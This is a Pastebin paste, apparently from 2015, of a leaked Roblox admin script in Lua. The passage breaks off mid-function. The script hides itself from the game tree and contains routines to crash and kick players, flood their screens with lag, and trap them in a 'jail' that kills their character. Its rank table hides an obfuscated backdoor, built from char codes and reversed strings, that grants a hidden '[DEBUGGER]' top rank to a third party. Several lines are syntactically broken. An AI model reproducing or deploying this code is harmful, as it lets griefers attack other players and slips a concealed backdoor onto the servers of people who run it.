Advertisement
hdh123

d

Dec 16th, 2015
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.29 KB | None | 0 0
  1. -- See RobloxScriptDatabase on pastebin for more leaked scripts for ROBLOX
  2.  
  3. wait(0)
  4. script.Parent = nil
  5. --This Admin (DVF) Was Created By elytowlo (A Hacker!).
  6. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  7. --To Open Commands Say "cmds;". The bet key is ";" (Without the "").
  8. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  9.  
  10. Plrs = game:GetService("Players")
  11. Work = game:GetService("Workspace")
  12. Light = game:GetService("Lighting")
  13. Net = game:GetService("NetworkServer")
  14. Owner = "elytowlo"
  15. Removed = false
  16. Bet = ";"
  17. LS = nil
  18. ls = loadstring
  19. LSSource = nil
  20. OwnSource = nil
  21. FoundLocalScript = false
  22. R = string.reverse
  23. LogOn = false
  24. Current = game
  25. Clipboard = {}
  26. AlertColor = Color3.new(0, 1, 1)
  27. OptionColor = Color3.new(1, 1, 1)
  28. ImportantColor = Color3.new(1, 0, 1)
  29.  
  30. RankDetails = {
  31. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  32. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  33. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  34. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  35. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  36. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  37. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  38. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  39. [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  40. }
  41.  
  42. Rankings = {
  43. {Name = "hdh", Rank = 5},
  44. {Name = "wetprinter", Rank = 5},
  45. {Name = "einsteinK", Rank = 5},
  46. {Name = "Abscissa", Rank = 4},
  47. {Name = "Ultimatekiller010", Rank = 3},
  48. {Name = "DrBackstab", Rank = 3},
  49. {Name = "LuaModelMaker", Rank = 3},
  50. {Name = "MakerModelLua", Rank = 3},
  51. {Name = "MrMrLua", Rank = 5},
  52. {Name = "MountainSnow", Rank = 3},
  53. {Name = "Madiik", Rank = 3},
  54. {Name = "dogwarrior24", Rank = 2},
  55. {Name = "ThePC8110", Rank = 2},
  56. {Name = "DEADDEVIL1919", Rank = 2},
  57. {Name = "toshir0z", Rank = 2},
  58. {Name = "Tippee", Rank = 2},
  59. {Name = "Trcker", Rank = 5},
  60. {Name = "nairod7", Rank = 2},
  61. {Name = "12packkid", Rank = 2},
  62. {Name = "TigreBlood", Rank = 2},
  63. {Name = "Frostftw", Rank = -1},
  64. {Name = "DoogleFox", Rank = 2},
  65. {Name = "", Rank = 5},
  66. {Name = "Ri1es", Rank = 2},
  67. {Name = "hrocks1", Rank = 2},
  68. {Name = "Zinsei", Rank = 5},
  69. {Name = "ToontownROXYA", Rank = 2},
  70. {Name = "tusKOr661", Rank = 2},
  71. {Name = "Unicornhax", Rank = 1},
  72. {Name = "iMayor", Rank = 1},
  73. {Name = "iMyLittlePony", Rank = 1},
  74. {Name = "xXxkarlxXx", Rank = 1},
  75. {Name = "LightningRoMan", Rank = 1},
  76. {Name = "BrandonFireFlower", Rank = 1},
  77. }
  78.  
  79. table.insert(Rankings, {Name = Owner, Rank = 5})
  80.  
  81. ImportantServices = {
  82. "Workspace",
  83. "Players",
  84. "NetworkServer",
  85. "Lighting",
  86. "StarterGui",
  87. "Teams",
  88. "StarterPack",
  89. }
  90.  
  91. Ranks = {}
  92. Commands = {}
  93. AllTabs = {}
  94. Injected = {}
  95.  
  96. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  97. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  98. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  99. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  100. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  101. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  102. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  103. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  104. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  105. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  106. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  107. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  108. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  109. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  110. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  111. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  112. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  113. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  114. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  115. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  116. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  117. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  118. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  119. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  120. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  121. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  122. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  123. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  124. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  125. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  126. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  127. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  128. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  129. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  130. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  131. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  132. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  133. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  134. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  135. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  136. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  137. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  138. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  139. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  140. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  141. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  142. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  143. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  144. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  145. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  146. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  147. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  148. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  149. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  150. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  151. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  152. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  153. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  154. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  155. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  156. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  157. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  158. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  159. "X","Y"}
  160.  
  161. --Main Functions And Sources
  162.  
  163. function Insert(Source, Par, Par2, Par3)
  164. ypcall(function()
  165. local Inserted = LS:Clone()
  166. Inserted.Disabled = true
  167. Inserted.Parent = Par or Par2 or Par3
  168. Inserted[LSSource].Value = Source
  169. Inserted.Disabled = false
  170. end)
  171. end
  172. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  173. RankDetails[6] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  174. function CheckImportant(Name)
  175. for _,v in pairs(ImportantServices) do
  176. if v:lower() == Name:lower() then
  177. return true
  178. end
  179. end
  180. return false
  181. end
  182.  
  183. function Crash1(Plr)
  184. ypcall(function()
  185. Plr:Kick()
  186. end)
  187. end
  188.  
  189. function GetRankTab()
  190. return Rankings
  191. end
  192.  
  193. function Crash2(Name)
  194. local Crasher = Instance.new("StringValue")
  195. Crasher.Name = "Client"
  196. Crasher.Value = string.lower(tostring(Name))
  197. Crasher.Parent = game:GetService("Lighting")
  198. wait(1)
  199. if Crasher and Crasher.Parent then
  200. ypcall(function()
  201. Crasher:Destroy()
  202. end)
  203. end
  204. end
  205. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  206. function Crash3(v, Speaker)
  207. Speaker.Character.Archivable = true
  208. local NChar = Speaker.Character:Clone()
  209. NChar.Name = v.Name
  210. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  211. NChar.Parent = Workspace
  212. v.Character = NChar
  213. coroutine.resume(coroutine.create(function()
  214. repeat v.Character = NChar
  215. wait(1/3) until false
  216. end))
  217. wait(.5)
  218. Insert(InsertCrash, NChar, nil, nil)
  219. end
  220.  
  221. function GenerateDigit()
  222. return 1 + 5
  223. end
  224.  
  225. InjectionCrash = [=[
  226. wait(0)
  227. script.Parent = nil
  228. local Lig = game:GetService("Lighting")
  229. local LP = game:GetService("Players").LocalPlayer
  230. local LowerName = LP.Name:lower()
  231.  
  232. Lig.ChildAdded:connect(function(Obj)
  233. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  234. pcall(function()
  235. Obj:Destroy()
  236. end)
  237. LP.Parent = nil
  238. LP.Parent = game:GetService("Players")
  239. end
  240. end)
  241. ]=] RankDetails[GenerateDigit()] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  242.  
  243. InsertCrash = [==[
  244. local LP = game:GetService("Players").LocalPlayer
  245. LP.Parent = nil
  246. LP.Parent = game:GetService("Players")
  247. ]==]
  248.  
  249. LagSource = [==[
  250. wait(0)
  251. script.Parent = nil
  252. plr = game:GetService("Players").LocalPlayer
  253. local plrgui = plr:findFirstChild("PlayerGui")
  254. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  255. while plr.Parent == game:GetService("Players") do
  256. wait()
  257. for i = 1, 1000 do
  258. local sc = Instance.new("ScreenGui",plrgui)
  259. local fr = Instance.new("TextLabel",sc)
  260. fr.Text = "LAGGING"
  261. fr.Size = UDim2.new(1, 0, 1, 0)
  262. fr.FontSize = "Size48"
  263. end
  264. end
  265. ]==]
  266.  
  267. MuteSource = [==[
  268. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  269. ]==]
  270.  
  271. UnMuteSource = [==[
  272. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  273. ]==]
  274.  
  275. JailSource = [==[
  276. wait(0)
  277. script.Parent = nil
  278.  
  279. local LP = game:GetService("Players").LocalPlayer
  280. Middle2 = nil
  281. Middle = nil
  282. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  283.  
  284. Cons = {}
  285.  
  286. function makePrison()
  287. for _,v in pairs(Cons) do
  288. v:disconnect()
  289. end
  290. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  291. if Middle == nil then
  292. Middle2 = LP.Character.Torso.Position
  293. Middle = LP.Character.Torso.CFrame
  294. end
  295. local side1 = Instance.new("Part")
  296. side1.Name = "¬Focus1¬"
  297. side1.Size = Vector3.new(20, 50, 1)
  298. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  299. side1.BrickColor = BrickColor.new("Really black")
  300. side1.CanCollide = true
  301. side1.Anchored = true
  302. side1.TopSurface = "Smooth"
  303. side1.BottomSurface = "Smooth"
  304. side1.Parent = game:GetService("Workspace").CurrentCamera
  305.  
  306. local side2 = Instance.new("Part")
  307. side2.Name = "¬Focus2¬"
  308. side2.Size = Vector3.new(20, 50, 1)
  309. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  310. side2.BrickColor = BrickColor.new("Really black")
  311. side2.CanCollide = true
  312. side2.Anchored = true
  313. side2.TopSurface = "Smooth"
  314. side2.BottomSurface = "Smooth"
  315. side2.Parent = game:GetService("Workspace").CurrentCamera
  316.  
  317. local side3 = Instance.new("Part")
  318. side3.Name = "¬Focus3¬"
  319. side3.Size = Vector3.new(1, 50, 20)
  320. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  321. side3.BrickColor = BrickColor.new("Really black")
  322. side3.CanCollide = true
  323. side3.Anchored = true
  324. side3.TopSurface = "Smooth"
  325. side3.BottomSurface = "Smooth"
  326. side3.Parent = game:GetService("Workspace").CurrentCamera
  327.  
  328. local side4 = Instance.new("Part")
  329. side4.Name = "¬Focus4¬"
  330. side4.Size = Vector3.new(1, 50, 20)
  331. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  332. side4.BrickColor = BrickColor.new("Really black")
  333. side4.CanCollide = true
  334. side4.Anchored = true
  335. side4.TopSurface = "Smooth"
  336. side4.BottomSurface = "Smooth"
  337. side4.Parent = game:GetService("Workspace").CurrentCamera
  338.  
  339. local side5 = Instance.new("Part")
  340. side5.Name = "¬Focus5¬"
  341. side5.Size = Vector3.new(20, 1, 20)
  342. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  343. side5.BrickColor = BrickColor.new("Really black")
  344. side5.CanCollide = true
  345. side5.Anchored = true
  346. side5.TopSurface = "Smooth"
  347. side5.BottomSurface = "Smooth"
  348. side5.Parent = game:GetService("Workspace").CurrentCamera
  349.  
  350. wait(0)
  351.  
  352. table.insert(Cons, side1.Changed:connect(makePrison))
  353. table.insert(Cons, side2.Changed:connect(makePrison))
  354. table.insert(Cons, side3.Changed:connect(makePrison))
  355. table.insert(Cons, side4.Changed:connect(makePrison))
  356. table.insert(Cons, side5.Changed:connect(makePrison))
  357. end
  358.  
  359. Delay(0, function()
  360. while wait(0) do
  361. ypcall(function()
  362. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  363. LP.Character:BreakJoints()
  364. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  365. makePrison()
  366. end
  367. end)
  368. ypcall(function()
  369. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  370. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  371. end
  372. end)
  373. end
  374. end)
  375. ]==]
  376.  
  377. function All()
  378. local AllPlayers = {}
  379. for _,v in pairs(Plrs:GetPlayers()) do
  380. ypcall(function()
  381. table.insert(AllPlayers, v)
  382. end)
  383. end
  384. return AllPlayers
  385. end
  386.  
  387. function All2()
  388. local AllPlayers2 = {}
  389. for i,v in pairs(Net:GetChildren()) do
  390. ypcall(function()
  391. if v:IsA("ServerReplicator") then
  392. table.insert(AllPlayers2, v:GetPlayer())
  393. end
  394. end)
  395. end
  396. return AllPlayers2
  397. end
  398.  
  399. function MakeNum()
  400. return 2 + 4
  401. end
  402.  
  403. function ChangeRank(Plr, NewRank)
  404. local PlrName = nil
  405. local FoundPlayer = false
  406. ypcall(function()
  407. if type(Plr) == "string" then
  408. ypcall(function()
  409. for i,v in pairs(Rankings) do
  410. if v.Name:lower() == Plr:lower() then
  411. local VName = v.Name
  412. Rankings[i] = nil
  413. table.insert(Rankings, {Name = VName, Rank = NewRank})
  414. PlrName = VName
  415. FoundPlayer = true
  416. break
  417. end
  418. end
  419. end)
  420. if FoundPlayer == false then
  421. ypcall(function()
  422. for _,x in pairs(All()) do
  423. if x.Name:lower() == Plr:lower() then
  424. FoundPlayer = true
  425. for i,v in pairs(Rankings) do
  426. if v.Name:lower() == x.Name:lower() then
  427. local VName = x.Name
  428. Rankings[i] = nil
  429. PlrName = VName
  430. break
  431. end
  432. end
  433. table.insert(Rankings, {Name = VName, Rank = NewRank})
  434. end
  435. end
  436. end)
  437. end
  438. if FoundPlayer == false then
  439. ypcall(function()
  440. for _,x in pairs(All()) do
  441. if string.find(x.Name:lower(), Plr:lower()) then
  442. FoundPlayer = true
  443. for i,v in pairs(Rankings) do
  444. if v.Name:lower() == x.Name:lower() then
  445. local VName = x.Name
  446. Rankings[i] = nil
  447. PlrName = VName
  448. break
  449. end
  450. end
  451. table.insert(Rankings, {Name = VName, Rank = NewRank})
  452. end
  453. end
  454. end)
  455. end
  456. if FoundPlayer == false then
  457. ypcall(function()
  458. for i,v in pairs(Rankings) do
  459. if string.find(v.Name:lower(), Plr:lower()) then
  460. local VName = v.Name
  461. Rankings[i] = nil
  462. table.insert(Rankings, {Name = VName, Rank = NewRank})
  463. PlrName = VName
  464. FoundPlayer = true
  465. break
  466. end
  467. end
  468. end)
  469. end
  470. else
  471. for i,v in pairs(Rankings) do
  472. if v.Name:lower() == Plr.Name:lower() then
  473. Rankings[i] = nil
  474. break
  475. end
  476. end
  477. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  478. PlrName = Plr.Name
  479. end
  480. PlaceAllRanks(true)
  481. end)
  482. if PlrName ~= nil then
  483. return PlrName
  484. else
  485. return "Player"
  486. end
  487. end
  488.  
  489. function Refresh(Plr)
  490. MakeChildren(Plr)
  491. end
  492.  
  493. function MakeChildren(Plr)
  494. ypcall(function()
  495. Dismiss(Plr)
  496. for _,v in pairs(Current:GetChildren()) do
  497. ypcall(function()
  498. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  499. Ping(v.Name, Plr, nil, function(TabMod)
  500. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  501. for _,v in pairs(Current:GetChildren()) do
  502. ypcall(function()
  503. if v.Name == TabText then
  504. Dismiss(Plr)
  505. Current = v
  506. MakeChildren(Plr)
  507. end
  508. end)
  509. end
  510. end)
  511. elseif Plrs:GetPlayerFromCharacter(v) then
  512. Ping(v.Name, Plr, nil, function(TabMod)
  513. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  514. for _,v in pairs(Current:GetChildren()) do
  515. ypcall(function()
  516. if v.Name == TabText then
  517. Dismiss(Plr)
  518. Current = v
  519. MakeChildren(Plr)
  520. end
  521. end)
  522. end
  523. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  524. elseif CheckImportant(v.Name) then
  525. Ping(v.Name, Plr, nil, function(TabMod)
  526. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  527. for _,v in pairs(Current:GetChildren()) do
  528. ypcall(function()
  529. if v.Name == TabText then
  530. Dismiss(Plr)
  531. Current = v
  532. MakeChildren(Plr)
  533. end
  534. end)
  535. end
  536. end, ImportantColor)
  537. end
  538. end)
  539. end
  540. if Current ~= game then
  541. Ping("Back", Plr, nil, function()
  542. ypcall(function()
  543. Current = Current.Parent
  544. MakeChildren(Plr)
  545. Ping("You Are Back To "..Current.Name, Plr, 5)
  546. end)
  547. end, OptionColor)
  548. end
  549. if Current ~= game then
  550. Ping("Delete", Plr, nil, function()
  551. ypcall(function()
  552. local CurrPar = Current.Parent or game
  553. local CurrName = Current.Name
  554. Current:Destroy()
  555. Current = CurrPar
  556. MakeChildren(Plr)
  557. Ping("Attempted To Delete "..CurrName, Plr, 5)
  558. end)
  559. end, OptionColor)
  560. end
  561. Ping("Refresh", Plr, nil, function()
  562. ypcall(function()
  563. Refresh(Plr)
  564. Ping("Refreshed", Plr, 5)
  565. end)
  566. end, OptionColor)
  567. Ping("Properties", Plr, nil, function()
  568. ypcall(function()
  569. Dismiss(Plr)
  570. for Property, Value in pairs(GetProperties(Current)) do
  571. Ping(tostring(Property)..": "..tostring(Value), Plr)
  572. end
  573. Ping("Got All Available Properties", Plr, 5)
  574. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  575. end)
  576. end, OptionColor)
  577. end)
  578. end
  579.  
  580. function Fixl()
  581. Light.GlobalShadows = true
  582. Light.TimeOfDay = "14:00:00"
  583. Light.Brightness = 0.5
  584. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  585. Light.Ambient = Color3.new(1, 1, 1)
  586. Light.ColorShift_Top = Color3.new(0, 0, 0)
  587. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  588. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  589. Light.FogStart = 0
  590. Light.FogEnd = 100000
  591. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  592. Light:ClearAllChildren()
  593. end
  594.  
  595. function GetProperties(obj)
  596. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  597. local objProper = {}
  598. for i,v in pairs(Properties) do
  599. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  600. objProper[v] = obj[v]
  601. end
  602. end
  603. return objProper
  604. end
  605.  
  606. function MakeExplorer(Plr)
  607. Dismiss(Plr)
  608. Current = game
  609. for _,v in pairs(Current:GetChildren()) do
  610. ypcall(function()
  611. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  612. Ping(v.Name, Plr, nil, function(TabMod)
  613. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  614. for _,v in pairs(Current:GetChildren()) do
  615. ypcall(function()
  616. if v.Name == TabText then
  617. Dismiss(Plr)
  618. Current = v
  619. MakeChildren(Plr)
  620. end
  621. end)
  622. end
  623. end)
  624. elseif Plrs:GetPlayerFromCharacter(v) then
  625. Ping(v.Name, Plr, nil, function(TabMod)
  626. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  627. for _,v in pairs(Current:GetChildren()) do
  628. ypcall(function()
  629. if v.Name == TabText then
  630. Dismiss(Plr)
  631. Current = v
  632. MakeChildren(Plr)
  633. end
  634. end)
  635. end
  636. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  637. elseif CheckImportant(v.Name) then
  638. Ping(v.Name, Plr, nil, function(TabMod)
  639. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  640. for _,v in pairs(Current:GetChildren()) do
  641. ypcall(function()
  642. if v.Name == TabText then
  643. Dismiss(Plr)
  644. Current = v
  645. MakeChildren(Plr)
  646. end
  647. end)
  648. end
  649. end, ImportantColor)
  650. end
  651. end)
  652. end
  653. if Current ~= game then
  654. Ping("Back", Plr, nil, function()
  655. ypcall(function()
  656. Current = Current.Parent
  657. MakeChildren(Plr)
  658. Ping("Back In "..Current.Name, Plr, 5)
  659. end)
  660. end, OptionColor)
  661. end
  662. if Current ~= game and game:GetService(Current.Name) == nil then
  663. Ping("Delete", Plr, nil, function()
  664. ypcall(function()
  665. local CurrPar = Current.Parent or game
  666. local CurrName = Current.Name
  667. Current:Destroy()
  668. Current = CurrPar
  669. MakeChildren(Plr)
  670. Ping("Attempted To Delete "..CurrName, Plr, 5)
  671. end)
  672. end, OptionColor)
  673. end
  674. Ping("Refresh", Plr, nil, function()
  675. ypcall(function()
  676. Refresh(Plr)
  677. Ping("Refreshed", Plr, 5)
  678. end)
  679. end, OptionColor)
  680. Ping("Properties", Plr, nil, function()
  681. ypcall(function()
  682. Dismiss(Plr)
  683. for Property, Value in pairs(GetProperties(Current)) do
  684. Ping(tostring(Property)..": "..tostring(Value), Plr)
  685. end
  686. Ping("Got All Available Properties", Plr, 5)
  687. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  688. end)
  689. end, OptionColor)
  690. end
  691.  
  692. function GetRank(Plr1, Test)
  693. ypcall(function()
  694. if type(Plr1) == "userdata" then
  695. Plr1 = Plr1.Name
  696. end
  697. end)
  698. if Ranks[Plr1] ~= nil then
  699. return Ranks[Plr1]
  700. end
  701. local QuickArray = {}
  702. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  703. return QuickArray[Plr1]
  704. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  705.  
  706. function CanRun(Plr1, Plr2)
  707. Details1 = GetRank(Plr1.Name)
  708. Details2 = GetRank(Plr2.Name)
  709. if Details1.Rank >= Details2.Rank then
  710. return true
  711. end
  712. return false
  713. end
  714.  
  715. function Dismiss(Plr, Identity)
  716. ypcall(function()
  717. if Plr ~= nil then
  718. if type(Plr) == "userdata" then
  719. Plr = Plr.Name
  720. end
  721. for x,v in pairs(AllTabs) do
  722. ypcall(function()
  723. if v.Plr == Plr then
  724. if Identity ~= nil and v.ID ~= Identity then
  725. return
  726. elseif Identity ~= nil and v.ID == Identity then
  727. coroutine.resume(coroutine.create(function()
  728. for i = 0.5, 1, 0.1 do
  729. wait()
  730. v.Tab.Transparency = i
  731. v.Sel.Transparency = i
  732. v.Label.TextTransparency = i
  733. v.Label.TextStrokeTransparency = i
  734. end
  735. ypcall(function() v.Holder:Destroy() end)
  736. AllTabs[x] = nil
  737. end))
  738. elseif Identity == nil then
  739. ypcall(function() v.Holder:Destroy() end)
  740. AllTabs[x] = nil
  741. end
  742. end
  743. end)
  744. end
  745. else
  746. for i,v in pairs(AllTabs) do
  747. ypcall(function()
  748. v.Holder:Destroy()
  749. AllTabs[i] = nil
  750. end)
  751. end
  752. end
  753. end)
  754. end
  755.  
  756. function GetGarbage()
  757. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  758. end
  759.  
  760. function RemObj(Obj, Class)
  761. ypcall(function()
  762. if #Obj:GetChildren() > 0 then
  763. for _,x in pairs(Obj:GetChildren()) do
  764. ypcall(function()
  765. RemObj(x, Class)
  766. end)
  767. end
  768. end
  769. if Obj.ClassName == Class then
  770. Obj:Destroy()
  771. end
  772. end)
  773. end
  774.  
  775. function FindTab(Mod)
  776. for i,v in pairs(AllTabs) do
  777. if v.Holder == Mod then
  778. return true
  779. end
  780. end
  781. return false
  782. end
  783.  
  784. function Ping(Msg, Plr, Time, Func, Color, Image)
  785. if Removed == false then
  786. local ShowGarbage = false
  787. ypcall(function()
  788. if Msg == nil then
  789. Msg = "N/A"
  790. elseif Msg == "ShowGarbage" then
  791. Msg = "Current Garbage Count: "..GetGarbage()
  792. ShowGarbage = true
  793. else
